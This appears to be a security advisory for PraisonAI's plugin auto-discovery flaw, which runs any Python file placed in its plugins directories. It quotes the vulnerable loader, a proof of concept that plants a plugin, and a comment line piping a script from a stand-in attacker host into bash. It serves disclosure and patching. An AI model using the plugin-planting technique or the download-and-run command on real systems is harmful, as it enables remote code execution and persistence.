praisonaiagents: PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
What fixes it
- 1.6.78praisonaiagents, pipGitHub
- 1.6.78PraisonAICVE List
- 1.6.78praisonaiagents, PyPIOSV
pip install "praisonaiagents>=1.6.78"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
Details
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
spec = importlib.util.spec_from_file_location(module_name, file_path)
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module) # Executes arbitrary Python code
if hasattr(module, "create_plugin"):
return module.create_plugin() # Calls arbitrary functionsrc/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):
# Auto-discovery paths: # 1. Project: ./.praisonai/plugins/ # 2. User: ~/.praisonai/plugins/
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.
PoC
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os
# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
'# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
'def create_plugin():\n return {"name": "evil"}\n')
# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
# Verify code executed
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME"Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.
Impact
- Arbitrary code execution: Any
.pyfile in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization
- Persistence: A planted plugin survives restarts and executes every time the framework starts
- Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely
Text from GitHub Advisory Database
Affected versions 54
- praisonaiagents, pip<= 1.6.77GitHub
- PraisonAIaffected: all versions before 1.6.78CVE List
- PraisonAIunaffected: 1.6.78CVE List
- praisonaiagents, PyPIfrom first release, fixed in 1.6.78OSV
- praisonaiagents, PyPI0.0.1OSV
- praisonaiagents, PyPI0.0.10OSV
- praisonaiagents, PyPI0.0.100OSV
- praisonaiagents, PyPI0.0.101OSV
- praisonaiagents, PyPI0.0.102OSV
- praisonaiagents, PyPI0.0.103OSV
- praisonaiagents, PyPI0.0.104OSV
- praisonaiagents, PyPI0.0.105OSV
- praisonaiagents, PyPI0.0.106OSV
- praisonaiagents, PyPI0.0.107OSV
- praisonaiagents, PyPI0.0.108OSV
- praisonaiagents, PyPI0.0.109OSV
- praisonaiagents, PyPI0.0.11OSV
- praisonaiagents, PyPI0.0.110OSV
- praisonaiagents, PyPI0.0.111OSV
- praisonaiagents, PyPI0.0.112OSV
- praisonaiagents, PyPI0.0.113OSV
- praisonaiagents, PyPI0.0.114OSV
- praisonaiagents, PyPI0.0.115OSV
- praisonaiagents, PyPI0.0.116OSV
- praisonaiagents, PyPI0.0.117OSV
- praisonaiagents, PyPI0.0.118OSV
- praisonaiagents, PyPI0.0.119OSV
- praisonaiagents, PyPI0.0.12OSV
- praisonaiagents, PyPI0.0.120OSV
- praisonaiagents, PyPI0.0.121OSV
- praisonaiagents, PyPI0.0.122OSV
- praisonaiagents, PyPI0.0.123OSV
- praisonaiagents, PyPI0.0.124OSV
- praisonaiagents, PyPI0.0.125OSV
- praisonaiagents, PyPI0.0.126OSV
- praisonaiagents, PyPI0.0.127OSV
- praisonaiagents, PyPI0.0.128OSV
- praisonaiagents, PyPI0.0.129OSV
- praisonaiagents, PyPI0.0.13OSV
- praisonaiagents, PyPI0.0.130OSV
- praisonaiagents, PyPI0.0.131OSV
- praisonaiagents, PyPI0.0.132OSV
- praisonaiagents, PyPI0.0.133OSV
- praisonaiagents, PyPI0.0.134OSV
- praisonaiagents, PyPI0.0.135OSV
- praisonaiagents, PyPI0.0.136OSV
- praisonaiagents, PyPI0.0.137OSV
- praisonaiagents, PyPI0.0.138OSV
- praisonaiagents, PyPI0.0.139OSV
- praisonaiagents, PyPI0.0.14OSV
- praisonaiagents, PyPI0.0.140OSV
- praisonaiagents, PyPI0.0.141OSV
- praisonaiagents, PyPI0.0.142OSV
- praisonaiagents, PyPI0.0.143OSV
References 5
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8gAdvisoryvia CVE List
- vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discoveryAdvisoryvia CVE List
- github.com/advisories/GHSA-m6wp-h223-4c8gAdvisoryvia GitHub
- nvd.nist.gov/vuln/detail/CVE-2026-61446Referencevia GitHub
- nvd.nist.gov/vuln/detail/CVE-2026-62165Referencevia GitHub